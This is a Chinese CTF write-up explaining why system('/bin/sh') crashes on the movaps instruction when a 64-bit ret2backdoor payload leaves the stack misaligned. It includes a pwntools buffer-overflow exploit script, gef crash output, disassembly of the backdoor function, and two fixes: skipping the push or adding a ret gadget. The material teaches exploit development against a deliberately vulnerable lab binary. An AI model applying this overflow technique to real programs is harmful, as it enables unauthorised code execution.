栈对齐

本部分依然使用2024极客大挑战-你会栈溢出吗进行举例

先贴原理:

64位ubuntu18以上系统调用system函数时是需要栈对齐的具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

我们使用以下这个栈不平衡的脚本gdb的附加调试

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
a = process('./stackover')
elf = ELF('./stackover')
#a=remote("nc1.ctfplus.cn",46975)
a.recvline()
payload=b'a'*(12+8)+p64(0x400728)
gdb.attach(a)
a.sendline(payload)
a.interactive()

我们来先查看栈视图

QQ_1735643007130

其实可以很明显的发现 栈地址都是以0或8结尾的

实际上因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

让我们一直运行下去直到报错

1
Got EOF while reading in interactive

让我们来看看此时的调试情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000738f43c0ad580x00007ffe8c4daef80x00007ffe8c4dd212"SHELL=/bin/bash"
$rbx : 0x00007ffe8c4dac180x000000000000000c ("
"?)
$rcx : 0x00007ffe8c4dac180x000000000000000c ("
"?)
$rdx : 0x0
$rsp : 0x00007ffe8c4da9f80x0000738f43db136e → <_dl_runtime_resolve_xsavec+007e> mov r11, rax
$rbp : 0x00007ffe8c4daa780x0000000000000000
$rsi : 0x0000738f43bcb42f0x0068732f6e69622f ("/bin/sh"?)
$rdi : 0x00007ffe8c4daa040x0000000000000000
$rip : 0x0000738f43a5842b → <do_system+016b> movaps XMMWORD PTR [rsp+0x50], xmm0
$r8 : 0x00007ffe8c4daa480x00007ffe8c4daa980x0000738f43dc9b35"GLIBC_PRIVATE"
$r9 : 0x00007ffe8c4daef80x00007ffe8c4dd212"SHELL=/bin/bash"
$r10 : 0x8
$r11 : 0x246
$r12 : 0x000000000040086e0x0068732f6e69622f ("/bin/sh"?)
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0000738f43dd40000x0000738f43dd52e00x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffe8c4da9f8│+0x0000: 0x0000738f43db136e → <_dl_runtime_resolve_xsavec+007e> mov r11, rax ← $rsp
0x00007ffe8c4daa00│+0x0008: 0x00000000ffffffff
0x00007ffe8c4daa08│+0x0010: 0x0000000000000000
0x00007ffe8c4daa10│+0x0018: 0x0000000000000000
0x00007ffe8c4daa18│+0x0020: 0x00007ffe8c4dabf8"yes,yes,"
0x00007ffe8c4daa20│+0x0028: 0x000000000040086e0x0068732f6e69622f ("/bin/sh"?)
0x00007ffe8c4daa28│+0x0030: 0x0000000000000025 ("%"?)
0x00007ffe8c4daa30│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x738f43a58418 <do_system+0158> lea rsi, [rip+0x173010] # 0x738f43bcb42f
0x738f43a5841f <do_system+015f> mov QWORD PTR [rsp+0x70], 0x0
0x738f43a58428 <do_system+0168> mov r9, QWORD PTR [rax]
0x738f43a5842b <do_system+016b> movaps XMMWORD PTR [rsp+0x50], xmm0
0x738f43a58430 <do_system+0170> call 0x738f43b0eca0 <__GI___posix_spawn>
0x738f43a58435 <do_system+0175> mov rdi, rbx
0x738f43a58438 <do_system+0178> mov r12d, eax
0x738f43a5843b <do_system+017b> call 0x738f43b0f180 <__posix_spawnattr_destroy>
0x738f43a58440 <do_system+0180> test r12d, r12d
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stackover", stopped 0x738f43a5842b in do_system (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x738f43a5842b → do_system(line=0x40086e "/bin/sh")
[#1] 0x400749 → key()
[#2] 0x7ffe8c4dae00 → add DWORD PTR [rax], eax
────────────────────────────────────────────────────────────────────────────────
gef➤

正如文章开头提到的那样 程序被卡的原因是movaps指令要求的对齐

QQ_1735643527789

程序报错时正好卡在这里 没有问题

刚刚我们提到过 64位程序地址是8字节的 所以栈地址要么是0 要么是8 既然我们需要16字节对齐 也就是在调用system时(其实是执行movaps时) rsp(观察参数)指向的地址应该是0结尾的

那么查看此时的栈情况

QQ_1735643807270

此时rsp指向的栈地址并不是0结尾的 这也是为什么程序报错不能打开shell的原因

那么想要解决这个问题 我们有很多办法

对于这道题来说 我们只需要将返回地址+1即可

为什么呢?

看看key函数(本题的backdoor函数)的汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:0000000000400728
.text:0000000000400728 ; Attributes: bp-based frame
.text:0000000000400728
.text:0000000000400728 public key
.text:0000000000400728 key proc near
.text:0000000000400728 ; __unwind {
.text:0000000000400728 55 push rbp
.text:0000000000400729 48 89 E5 mov rbp, rsp
.text:000000000040072C 48 8D 3D 15 01 00 00 lea rdi, format ; "yes,yes,this is key.you can catch me?"
.text:0000000000400733 B8 00 00 00 00 mov eax, 0
.text:0000000000400738 E8 73 FE FF FF call _printf
.text:0000000000400738
.text:000000000040073D 48 8D 3D 2A 01 00 00 lea rdi, command ; "/bin/sh"
.text:0000000000400744 E8 57 FE FF FF call _system
.text:0000000000400744
.text:0000000000400749 B8 00 00 00 00 mov eax, 0
.text:000000000040074E 5D pop rbp
.text:000000000040074F C3 retn
.text:000000000040074F ; } // starts at 400728
.text:000000000040074F
.text:000000000040074F key endp

我们使用的未对齐的脚本返回地址指向的0x400728 也就是push指令 如果我们+1 即跳过push指令 由于栈地址只会是0or8 那么此时栈就对齐了 (8–>0)

但是如果你最开始指向的地址就不是一个栈操作指令 加1也没用 请使用方法2

还有一种方法是构建一个rop链

在返回地址之前加一个ret

因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐)

注:严格来说ret并不等同于pop rip 只是实现的效果类似与以下形式

1
2
3
4
5
6
7
# call
push rip
jmp addr

# ret
pop rip
jump rip

注:

movaps
When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte (128-bit version), 32-byte (VEX.256 encoded version) or 64-byte (EVEX.512 encoded version) boundary or a generalprotection exception (#GP) will be generated.
当源操作数或目标操作数是内存操作数时,操作数必须对齐到16字节(128位)将生成32字节(vexx .256编码版本)或64字节(EVEX.512编码版本)边界或通用保护异常(#GP)。
stack alignment
The processor does not check stack pointer alignment. It is the responsibility of the programs, tasks, and system procedures running on the processor to maintain proper alignment of stack pointers. Misaligning a stack pointer can cause serious performance degradation and in some instances program failures.
处理器不检查栈指针对齐。它是程序、任务和系统的责任在处理器上运行维护栈指针正确对齐的过程。栈指针对齐错误可能会导致严重的性能下降,在某些情况下还会导致程序失败。


栈对齐
http://example.com/2024/12/31/栈对齐/
作者
QYQS
发布于
2024年12月31日
许可协议